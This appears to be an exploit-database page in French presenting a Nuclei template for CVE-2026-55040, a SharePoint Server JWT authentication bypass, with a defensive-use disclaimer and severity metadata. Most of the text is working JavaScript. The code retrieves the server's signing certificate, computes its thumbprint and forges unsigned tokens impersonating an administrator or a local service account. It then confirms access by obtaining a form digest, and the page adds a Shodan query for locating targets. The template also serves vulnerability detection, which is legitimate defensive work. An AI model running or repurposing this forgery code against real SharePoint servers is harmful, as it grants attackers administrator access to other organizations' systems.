Exploit matérialisé
CVE-2026-55040
CRITICAL KEV1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.
À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
Nuclei
critical Vérifié
Source
Microsoft SharePoint Server - JWT Authentication Bypass
Par projectdiscovery
Comment tester cet exploit
Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.
nuclei -id CVE-2026-55040 -u https://your-target
Template yaml
id: CVE-2026-55040
info:
name: Microsoft SharePoint Server - JWT Authentication Bypass
author: sfewer-r7,DhiyaneshDk
severity: critical
description: |
Microsoft SharePoint Server is vulnerable to an authentication bypass (CVE-2026-55040) in its JWT token validation pipeline (SPJsonWebSecurityTokenHandlerV2). The chain disables signature requirements (RequireSignedTokens=false, accepting alg:none tokens), resolves the actor token x5t thumbprint against the server's own STS signing certificate (freely retrievable from /_layouts/15/metadata/json/1) without verifying the signature, accepts unregistered certificate issuers, and only checks the actor token signature is non-empty. An unauthenticated remote attacker can forge a JWT and authenticate as any SharePoint user, including a site administrator. This template forges such a token and confirms the bypass by obtaining a SharePoint form digest.
impact: |
Unauthorized attackers can bypass authentication, gaining unauthorized access to protected resources.
remediation: |
Update to the latest version of Microsoft Office SharePoint.
reference:
- https://github.com/sfewer-r7/CVE-2026-55040
- https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040/
- https://nvd.nist.gov/vuln/detail/CVE-2026-55040
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-55040
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2026-55040
epss-score: 0.39652
epss-percentile: 0.98513
cwe-id: CWE-1390
metadata:
max-request: 3
verified: true
shodan-query: html:"/_layouts/"
tags: cve,cve2026,sharepoint,microsoft,auth-bypass,jwt,kev,vkev
javascript:
- pre-condition: |
isPortOpen(Host, Port);
code: |
var net = require("nuclei/net");
// ===== SHA-1 (pure JavaScript, RFC 3174) =====
function sha1(data) {
function R(n, s) { return ((n << s) | (n >>> (32 - s))) >>> 0; }
function A(x, y) { return (x + y) >>> 0; }
var msg = data.slice(), L = msg.length;
msg.push(0x80);
while ((msg.length % 64) !== 56) msg.push(0);
var bl = L * 8;
msg.push(0, 0, 0, 0, (bl >>> 24) & 0xFF, (bl >>> 16) & 0xFF, (bl >>> 8) & 0xFF, bl & 0xFF);
var H = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0];
for (var blk = 0; blk < msg.length; blk += 64) {
var W = [];
for (var i = 0; i < 16; i++)
W[i] = ((msg[blk + i * 4] << 24) | (msg[blk + i * 4 + 1] << 16) | (msg[blk + i * 4 + 2] << 8) | msg[blk + i * 4 + 3]) >>> 0;
for (var i = 16; i < 80; i++)
W[i] = R(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1);
var a = H[0], b = H[1], c = H[2], d = H[3], e = H[4];
for (var t = 0; t < 80; t++) {
var f, k;
if (t < 20) { f = ((b & c) | (~b & d)) >>> 0; k = 0x5A827999; }
else if (t < 40) { f = (b ^ c ^ d) >>> 0; k = 0x6ED9EBA1; }
else if (t < 60) { f = ((b & c) | (b & d) | (c & d)) >>> 0; k = 0x8F1BBCDC; }
else { f = (b ^ c ^ d) >>> 0; k = 0xCA62C1D6; }
var T = A(A(A(A(R(a, 5), f), e), k >>> 0), W[t]);
e = d; d = c; c = R(b, 30); b = a; a = T;
}
H[0] = A(H[0], a); H[1] = A(H[1], b); H[2] = A(H[2], c); H[3] = A(H[3], d); H[4] = A(H[4], e);
}
var out = [];
for (var j = 0; j < 5; j++) out.push((H[j] >>> 24) & 0xFF, (H[j] >>> 16) & 0xFF, (H[j] >>> 8) & 0xFF, H[j] & 0xFF);
return out;
}
// ===== Base64 / Base64url =====
function b64enc(bytes) {
var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = "";
for (var i = 0; i < bytes.length; i += 3) {
var x = bytes[i], y = i + 1 < bytes.length ? bytes[i + 1] : 0, z = i + 2 < bytes.length ? bytes[i + 2] : 0;
r += t[x >>> 2];
r += t[((x & 3) << 4) | (y >>> 4)];
r += i + 1 < bytes.length ? t[((y & 0xF) << 2) | (z >>> 6)] : "=";
r += i + 2 < bytes.length ? t[z & 0x3F] : "=";
}
return r;
}
function b64url(bytes) { return b64enc(bytes).replace(/\+/g, "-").replace(/\//g, "_").replace(/=/g, ""); }
function b64urlStr(s) {
var b = [];
for (var i = 0; i < s.length; i++) b.push(s.charCodeAt(i) & 0xFF);
return b64url(b);
}
function b64dec(s) {
var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = [];
s = s.replace(/[^A-Za-z0-9+\/]/g, "");
for (var i = 0; i < s.length; i += 4) {
var a = t.indexOf(s[i]), b = t.indexOf(s[i + 1]);
var c = s[i + 2] ? t.indexOf(s[i + 2]) : -1, d = s[i + 3] ? t.indexOf(s[i + 3]) : -1;
r.push((a << 2) | (b >>> 4));
if (c !== -1) r.push(((b & 0xF) << 4) | (c >>> 2));
if (d !== -1) r.push(((c & 3) << 6) | d);
}
return r;
}
// ===== HTTP helper — accumulation loop to read full multi-chunk response =====
function httpReq(method, path, extraHdrs, body) {
var hdrs = "Host: " + Host + "\r\nUser-Agent: nuclei\r\nConnection: close\r\nContent-Length: 0\r\n";
for (var k in extraHdrs) hdrs += k + ": " + extraHdrs[k] + "\r\n";
var raw = method + " " + path + " HTTP/1.1\r\n" + hdrs + "\r\n" + (body || "");
try {
var conn;
try { conn = net.OpenTLS("tcp", Host + ":443"); }
catch (e) { conn = net.Open("tcp", Host + ":443"); }
conn.SetTimeout(30);
conn.Send(raw);
// Accumulate chunks until EOF (server closes with Connection: close)
var resp = "";
var chunk;
while (true) {
try {
chunk = conn.RecvString(4096);
if (!chunk || chunk.length === 0) break;
resp += chunk;
} catch (e) { break; }
}
conn.Close();
return resp;
} catch (e) { return ""; }
}
// ===== Dechunk — handle Transfer-Encoding: chunked if present =====
function dechunk(body) {
if (!body || body.indexOf("\r\n") === -1) return body;
var result = "";
var pos = 0;
while (pos < body.length) {
var nlIdx = body.indexOf("\r\n", pos);
if (nlIdx === -1) break;
var sizeLine = body.substring(pos, nlIdx).split(";")[0].trim();
var size = parseInt(sizeLine, 16);
if (isNaN(size) || size === 0) break;
pos = nlIdx + 2;
if (pos + size > body.length) { result += body.substring(pos); break; }
result += body.substring(pos, pos + size);
pos += size + 2;
}
return result || body;
}
function parseResp(raw) {
if (!raw) return { code: 0, body: "" };
var sep = raw.indexOf("\r\n\r\n");
if (sep === -1) sep = raw.indexOf("\n\n");
if (sep === -1) return { code: 0, body: raw };
var headers = raw.substring(0, sep);
var body = raw.substring(sep + 4);
if (headers.toLowerCase().indexOf("transfer-encoding: chunked") !== -1) {
body = dechunk(body);
}
var m = headers.match(/^HTTP\/[\d.]+\s+(\d+)/);
return { code: m ? parseInt(m[1]) : 0, body: body };
}
// ===== Main detection logic =====
var metaR = parseResp(httpReq("GET", "/_layouts/15/metadata/json/1", {}, ""));
if (metaR.code === 200 && metaR.body && metaR.body.trim()[0] !== "<") {
var meta = null;
try { meta = JSON.parse(metaR.body); } catch (e) {}
if (meta) {
var issuer = meta.issuer || "";
var atIdx = issuer.indexOf("@");
if (atIdx !== -1) {
var realm = issuer.substring(atIdx + 1);
var keys = meta.keys || [];
var certB64 = keys[0] && keys[0].keyValue ? keys[0].keyValue.value : null;
if (certB64) {
var certDer = b64dec(certB64);
var x5t = b64url(sha1(certDer));
var now = Math.floor(Date.now() / 1000);
var hostLabel = Host.split(".")[0];
var cid = "00000003-0000-0ff1-ce00-000000000000";
var aHdr = JSON.stringify({ alg: "RS256", typ: "JWT", x5t: x5t });
var aPld = JSON.stringify({ iss: issuer, nameid: issuer, nbf: now - 300, exp: now + 3600 });
var actorJwt = b64urlStr(aHdr) + "." + b64urlStr(aPld) + ".AAAA";
var forgeToken = function (nameid, nii, extra) {
var hdr = JSON.stringify({ alg: "none", typ: "JWT" });
var pld = {
aud: cid + "/" + hostLabel + "@" + realm,
iss: issuer,
nbf: now - 300,
exp: now + 3600,
nameid: nameid,
nii: nii,
trustedfordelegation: "true",
actortoken: actorJwt
};
if (extra) { for (var ek in extra) pld[ek] = extra[ek]; }
return b64urlStr(hdr) + "." + b64urlStr(JSON.stringify(pld)) + ".";
};
var tryDigest = function (token) {
return parseResp(httpReq("POST", "/_api/contextinfo",
{ Authorization: "Bearer " + token, Accept: "application/json" }, ""));
};
var output = "";
// Path 1: UPN derived from hostname domain
var parts = Host.split(".");
if (parts.length >= 3) {
var domain = parts.slice(1).join(".");
var upn = "administrator@" + domain;
var tok1 = forgeToken("upn_bypass", "urn:office:idp:activedirectory", { upn: upn });
var r1 = tryDigest(tok1);
if (r1.code === 200 && r1.body.indexOf("FormDigestValue") !== -1) {
output = "CVE-2026-55040-VULNERABLE\nDIGEST-OBTAINED\nupn=" + upn + "\nrealm=" + realm;
}
}
// Path 2: AccessToken / local service fallback
if (!output) {
var tok2 = forgeToken("0#.w|nt authority\\local service", "AccessToken", { upn: "x@localhost" });
var r2 = tryDigest(tok2);
if (r2.code === 200 && (r2.body.indexOf("FormDigestValue") !== -1 || r2.body.indexOf("UnauthorizedAccessException") !== -1)) {
output = "CVE-2026-55040-VULNERABLE\nAUTH-BYPASS-CONFIRMED\nrealm=" + realm;
}
}
if (output) Export(output);
}
}
}
}
args:
Host: "{{Host}}"
Port: "443"
matchers:
- type: word
words:
- "CVE-2026-55040-VULNERABLE"
extractors:
- type: regex
name: realm
regex:
- "realm=([0-9a-fA-F-]+)"
# digest: 4a0a004730450220428ae115804e93e803784ce4bddd0a87589fbf74999262c6d80152795b2c5c04022100da4a7a0e8c99b8496b5b9320a5f9884dfbbb3cce2b6bb7e0321e4c8f3c87731c:922c64590222798bb761d5b6d8e72950